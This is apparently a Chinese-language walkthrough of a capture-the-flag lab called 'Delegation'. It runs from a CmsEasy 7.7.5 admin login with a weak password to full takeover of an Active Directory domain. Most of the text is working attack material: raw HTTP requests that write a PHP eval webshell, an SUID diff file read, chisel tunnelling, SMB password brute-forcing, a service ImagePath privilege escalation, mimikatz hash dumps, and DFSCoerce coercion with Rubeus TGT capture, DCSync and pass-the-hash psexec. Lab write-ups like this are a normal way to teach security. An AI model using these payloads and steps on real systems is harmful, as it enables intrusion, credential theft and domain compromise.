春秋云镜-Delegation
Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
- Brute Force
- Privilege Elevation
- Kerberos
- 域渗透
外网边界
信息搜集
访问ip
不多废话,先简单打波poc
好大个 cmseasy,看下源代码
cmseasy 7.7.5,去 opencve 搜搜看
CmsEasy V7.7.5_20210919 后台任意文件写
参考文章:CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞 | jdr
第一步要登录后台,看看有没有弱口令,/admin 就是后台
有验证码,不好爆破,试几个常用的弱口令
admin:123456进去了
获得驻足点
poc如下:
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.99.128.51
Content-Length: 69
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=7h6abk5jk11tvu8uf7cgab26mg; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close
sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>
../../ 就是根目录
那直接写个php马即可
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.99.128.51
Content-Length: 69
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=7h6abk5jk11tvu8uf7cgab26mg; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close
sid=#data_d_.._d_.._d_.._d_hacker.php&slen=693&scontent=<?php @eval($_POST['hacker']);?>
尝试获取flag(失败)
没有权限,看来得提权了
上线msf
伪终端命令:
python3 -c "import pty;pty.spawn('/bin/bash')"
信息搜集
找配置文件
'password'=>'Root@O4oLkum3',//数据库密码
'user'=>'root',//数据库用户名
尝试去ssh连一下,没成功
连上数据库,翻翻users表,啥也没有
试试UDF提权?没权限
上linpeas!
suid-diff提权
diff 可以与任意文件比较输出差异,+suid 下跟空设备比较就能实现任意文件读
LFILE=/home/flag/flag01.txt
./diff --line-format=%L /dev/null $LFILE
____ U _____ u _ U _____ u ____ _ _____ U ___ u _ _
| _"\ \| ___"|/ |"| \| ___"|/U /"___|uU /"\ u |_ " _| ___ \/"_ \/ | \ |"|
/| | | | | _|" U | | u | _|" \| | _ / \/ _ \/ | | |_"_| | | | |<| \| |>
U| |_| |\| |___ \| |/__ | |___ | |_| | / ___ \ /| |\ | | .-,_| |_| |U| |\ |u
|____/ u|_____| |_____| |_____| \____| /_/ \_\ u |_|U U/| |\u\_)-\___/ |_| \_|
|||_ << >> // \\ << >> _)(|_ \\ >> _// \\_.-,_|___|_,-. \\ || \\,-.
(__)_) (__) (__)(_")("_)(__) (__) (__)__) (__) (__)(__) (__)\_)-' '-(_/ (__) (_") (_/
flag01: flag{9a5e1ad5-2468-4950-a4b6-e7d71024847e}
Great job!!!!!!
Here is the hint: WIN19\Adrian
I'll do whatever I can to rock you...
给我们了一个hint🤔:WIN19\Adrian,还有rockyou
搭建内网代理
./chisel server -p 19999 -socks5
./chisel client 39.99.128.51:19999 socks &
内网
查看内网网段
本机内网ip为 172.22.4.36,内外网段为 172.22.4.0/24
fscan大保健
./fscan -h 172.22.4.0/24 > 1.txt
没扫到洞
172.22.4.7 DC01.xiaorang.lab
172.22.4.45 XIAORANG\WIN19
172.22.4.19 FILESERVER.xiaorang.lab
尝试 AS-REP Roasting(失败)
我们不是有个 Adrian 用户名吗,试试看有没有关闭预认证
proxychains python GetNPUsers.py -usersfile /mnt/c/Users/Anonymous/Desktop/users.txt -format john -dc-ip 172.22.4.7 xiaorang.lab/
失败
密码喷洒
SMB尝试下数据库密码:Root@O4oLkum3
,也失败了
拿下 XIAORANG\WIN19 172.22.4.45:smb密码爆破
题目提示rockyou,爆破SMB密码
proxychains -q netexec smb 172.22.4.45 -u "WIN19\Adrian" -p rockyou.txt --ignore-pw-decoding
爆破到密码
WIN19\Adrian:babygirl1
密码过期问题
显示密码过期
- 使用 rdesktop 能够登上去更改密码
然后mstsc连接即可
信息搜集
凭据搜集
没有找到什么可用的
权限提升
命名管道提权(失败)
privescCheck
我在桌面看到了一个文件夹 privescCheck ,PrivescCheck: 是一个权限提升的检查脚本
这里显示我们可以修改任意服务的注册表项
C:\Users\Adrian>reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\ma.exe" /f
操作成功完成。
C:\Users\Adrian>sc qc gupdate
[SC] QueryServiceConfig 成功
SERVICE_NAME: gupdate
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\Adrian\Desktop\ma.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Google 更新服务 (gupdate)
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
C:\Users\Adrian>sc start gupdate
进去后赶紧进行一个migrate来驻足,不然服务一会会断掉
其实winpeas也能扫出来
获取flag02
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
Adrian:1003:aad3b435b51404eeaad3b435b51404ee:f67f5e3f66efd7298be6acd32eeeb27c:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:44d8d68ed7968b02da0ebddafd2dd43e:::
mimikatz 抓取密码
Username Domain NTLM SHA1
Adrian WIN19 f67f5e3f66efd7298be6acd32eeeb27c 78637967d96d8a30553a3840f4511bdafa4179d4
WIN19$ XIAORANG b1743cc34e7261e78d820e85d8b747ac f02639be39bc20d3780862255c11896e6c44189c
WIN19$ XIAORANG 5943c35371c96f19bda7b8e67d041727 5a4dc280e89974fdec8cf1b2b76399d26f39b8f8
域内信息搜集
我们终于到域中了
- 域用户
Aldrich 和 Marcus 都是普通域用户
域内ACL
没发现什么
域内委派
proxychains4 -q python findDelegation.py xiaorang.lab/'WIN19$' -hashes :b1743cc34e7261e78d820e85d8b747ac -dc-ip 172.22.4.7
发现这台机子具有非约束委派,众所周知在认证具有非约束委派的主机时会连带自己的TGT一起发送,从而使该主机具有用户的权限
非约束委派+强制身份认证
利用 dfscoerce 漏洞强制域控访问我们来拿到域控的TGT
proxychains -q python3 ./dfscoerce.py -u "WIN19$" -hashes :75c57edd62d1aa0a49f56a1e8a0becdb -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab 172.22.4.7
监听TGT
Rubeus.exe monitor /interval:1 /filteruser:DC01$ /nowrap
Rubeus ptt /ticket:<b64 TGT>
mimikatz dcsync
502 krbtgt 767e06b9c74fd628dd13785006a9092b 514
1105 Aldrich 98ce19dd5ce74f670d230c7b1aa016d0 512
1106 Marcus b91c7cc463735bf0e599a2d0a04df110 512
1112 WIN-3X7U15C2XDM$ c3ddf0ffd17c48e6c40e6eda9c9fbaf7 4096
1113 WIN-YUUAW2QG9MF$ 125d0e9790105be68deb6002690fc91b 4096
1000 DC01$ d8272d6f460349f81dee4a84f15d5d9f 532480
500 Administrator 4889f6553239ace1f7c47fa2c619c252 512
1104 WIN19$ 75c57edd62d1aa0a49f56a1e8a0becdb 528384
1103 FILESERVER$ b60e0379df027f690643fa1321f98802 4096
impackt-psexec
proxychains -q python psexec.py "xiaorang.lab/administrator@172.22.4.19" -dc-ip 172.22.4.7 -hashes :4889f6553239ace1f7c47fa2c619c252
proxychains -q python psexec.py "xiaorang.lab/administrator@172.22.4.7" -dc-ip 172.22.4.7 -hashes :4889f6553239ace1f7c47fa2c619c252
总结
梳理一下整个内网思路:
smb爆破拿下 win1 远程桌面 –> 注册表修改服务 ImagePath 提权SYSTEM 进入域 –> 发现 win1 有非约束委派,PetitPotam/DFSCoerce+Rubeus 获得域控的TGT –> dcsync 导出用户hash接管整个域我遇到的问题
- 那个密码过期问题,我远程桌面一连就断了,根本改不了密码。看来wp发现
rdesktop
可以正常连接。 - 学习了非约束委派+强制认证的组合拳